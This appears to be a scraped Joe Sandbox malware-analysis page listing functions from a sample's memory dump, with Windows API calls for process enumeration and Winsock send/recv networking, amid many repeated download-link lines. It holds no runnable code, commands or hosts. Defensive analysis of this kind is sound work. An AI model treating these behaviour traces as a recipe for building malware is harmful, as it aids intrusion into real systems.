Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: InfoLocale___crtrecv
String ID:
API String ID: 818993241-0
Opcode ID: 09a2531b0edccc458500ea1cfee391c51577f5590557b7cafd66178b33d916ad
Instruction ID: d130aec3ab9111a4265e67f1d3ab500d53cbcd63ea9895086a92ea1f5cc2fd75
Opcode Fuzzy Hash: 09a2531b0edccc458500ea1cfee391c51577f5590557b7cafd66178b33d916ad
Instruction Fuzzy Hash: 66B11974A04208DFDB24CF94C994FADB7B5FF88309F208619EA45AB381D779A981DF41

Function 00940CD0 Relevance: 10.7, APIs: 7, Instructions: 243COMMON

Download Yara Rule

APIs

___crtGetLocaleInfoEx.LIBCMTD ref: 00940CED

Part of subcall function 0093F670: send.WS2_32(00000000,?,000000FF,00940E0C), ref: 0093F683

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: InfoLocale___crtsend
String ID:
API String ID: 3464212537-0
Opcode ID: 12eda4f571320da8d6a9b2554e230d5eca0ec629ade47df84e62e6d9c64dd3d0
Instruction ID: 3f035a4f2372dcf7e57195b7653e91e94f5e165c3c32156310530f0cd6f809b0
Opcode Fuzzy Hash: 12eda4f571320da8d6a9b2554e230d5eca0ec629ade47df84e62e6d9c64dd3d0
Instruction Fuzzy Hash: 88B12C74A04208DFDB24CF88D894FADBBB5FF88308F208559E905AB284C779E985DF41

Function 009244E0 Relevance: 9.1, APIs: 6, Instructions: 55processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 009244F4
Process32FirstW.KERNEL32(000000FF,0000022C), ref: 0092451C
StrCmpIW.SHLWAPI(?,-009958D8), ref: 00924566
CloseHandle.KERNEL32(000000FF), ref: 00924574
Process32NextW.KERNEL32(000000FF,0000022C), ref: 0092458E
CloseHandle.KERNEL32(000000FF), ref: 0092459C

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: CloseHandleProcess32$CreateFirstNextSnapshotToolhelp32
String ID:
API String ID: 1789362936-0
Opcode ID: 763419550115e4a6aeb2a890eec7efd4c4650a68776a6f99396514e64999620d
Instruction ID: ba61ccc87e2d45f88d39bc392473a9f4840a5c109e303f7516883ec171e3a757
Opcode Fuzzy Hash: 763419550115e4a6aeb2a890eec7efd4c4650a68776a6f99396514e64999620d
Instruction Fuzzy Hash: 041151B0915228DBCB14DFA8ED4CB9DB7B8AF14300F204699F546AB294D7389F41DF51

Function 00924410 Relevance: 9.1, APIs: 6, Instructions: 55processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00924424
Process32FirstW.KERNEL32(000000FF,0000022C), ref: 0092444C
StrCmpIW.SHLWAPI(?,-00994CE4), ref: 00924496
CloseHandle.KERNEL32(000000FF), ref: 009244A4
Process32NextW.KERNEL32(000000FF,0000022C), ref: 009244BE
CloseHandle.KERNEL32(000000FF), ref: 009244CC

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: CloseHandleProcess32$CreateFirstNextSnapshotToolhelp32
String ID:
API String ID: 1789362936-0
Opcode ID: 7a1dd23093c540e25bce80880b55e9b4ef2391bcd4dffb0af1c787af110d2e9c
Instruction ID: 6bc33c5c21c9c95c1eb0f89ff597c1d5ea9f32bbfa8eaa6537be4ce3d02a36d4
Opcode Fuzzy Hash: 7a1dd23093c540e25bce80880b55e9b4ef2391bcd4dffb0af1c787af110d2e9c
Instruction Fuzzy Hash: 591163B0905218DBCB24EFA8ED4CB9D77B8BB04300F204699E509A72A4D7389F41DF50

Function 0093FC10 Relevance: 7.7, APIs: 5, Instructions: 166networkCOMMON

Download Yara Rule

APIs

und_memcpy.LIBCMTD ref: 0093FC6A
WSAEventSelect.WS2_32(00000000,00000000,00000022), ref: 0093FCA9
WSAWaitForMultipleEvents.WS2_32(-00000001,00000000,00000000,00000000,00000000), ref: 0093FCCA

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: EventEventsMultipleSelectWaitund_memcpy
String ID:
API String ID: 3111955656-0
Opcode ID: ef5634e187b8dcf0c3143fa2da0071d50fd45ce254992f58a0192cabbe6c01ca
Instruction ID: 1b72fb1958062ae73e0b3590199fce2ef349d57e4c759059f141304c34a4aebb
Opcode Fuzzy Hash: ef5634e187b8dcf0c3143fa2da0071d50fd45ce254992f58a0192cabbe6c01ca
Instruction Fuzzy Hash: 74512DB5E01209EBDB14EFA4C899FAFB7B5FF44308F108658E61567290C774AA41CFA4

Function 0093F9E0 Relevance: 6.2, APIs: 4, Instructions: 183networkCOMMON

Download Yara Rule

APIs

und_memcpy.LIBCMTD ref: 0093FA3D
WSAEventSelect.WS2_32(00000000,00000000,00000021), ref: 0093FAB9
WSAWaitForMultipleEvents.WS2_32(-00000001,00000000,00000000,000003E8,00000001), ref: 0093FADB
___crtGetLocaleInfoEx.LIBCMTD ref: 0093FB6A

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: EventEventsInfoLocaleMultipleSelectWait___crtund_memcpy
String ID:
API String ID: 1863971664-0
Opcode ID: 8b6564f7275c20df591ab20262fc0f2a60b0b2405a9c648b47196f4b2f08c14d
Instruction ID: ed03be2e4f7a2b5390eca18299acfcc44e6c233b7a9134838da35248f8f8dfe4
Opcode Fuzzy Hash: 8b6564f7275c20df591ab20262fc0f2a60b0b2405a9c648b47196f4b2f08c14d
Instruction Fuzzy Hash: 47614CB1E41209EBDB14EFA4D895FAFB7B5FF44308F108558EA1567280C774AA41CFA4

Function 009404F0 Relevance: 6.1, APIs: 4, Instructions: 116networkCOMMON

Download Yara Rule

APIs

htons.WS2_32(?), ref: 00940557

Part of subcall function 00940870: WSACreateEvent.WS2_32 ref: 00940876
Part of subcall function 00940870: WSAEventSelect.WS2_32(?,00000000,00000002), ref: 00940893
Part of subcall function 00940870: WSAWaitForMultipleEvents.WS2_32(00000001,?,00000000,00000001,00000000), ref: 009408D3
Part of subcall function 00940870: WSACloseEvent.WS2_32(00000000), ref: 009408E0

___crtGetLocaleInfoEx.LIBCMTD ref: 0094059D

Part of subcall function 0093F670: send.WS2_32(00000000,?,000000FF,00940E0C), ref: 0093F683

Part of subcall function 00940790: WSACreateEvent.WS2_32 ref: 00940796
Part of subcall function 00940790: WSAEventSelect.WS2_32(?,00000000,00000001), ref: 009407B3
Part of subcall function 00940790: WSAWaitForMultipleEvents.WS2_32(00000001,?,00000000,00000001,00000000), ref: 009407F3
Part of subcall function 00940790: WSACloseEvent.WS2_32(00000000), ref: 00940800

___crtGetLocaleInfoEx.LIBCMTD ref: 009405D6

Part of subcall function 0093F650: recv.WS2_32(00000000,?,000000FF,00940A9A), ref: 0093F663

und_memcpy.LIBCMTD ref: 00940606

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
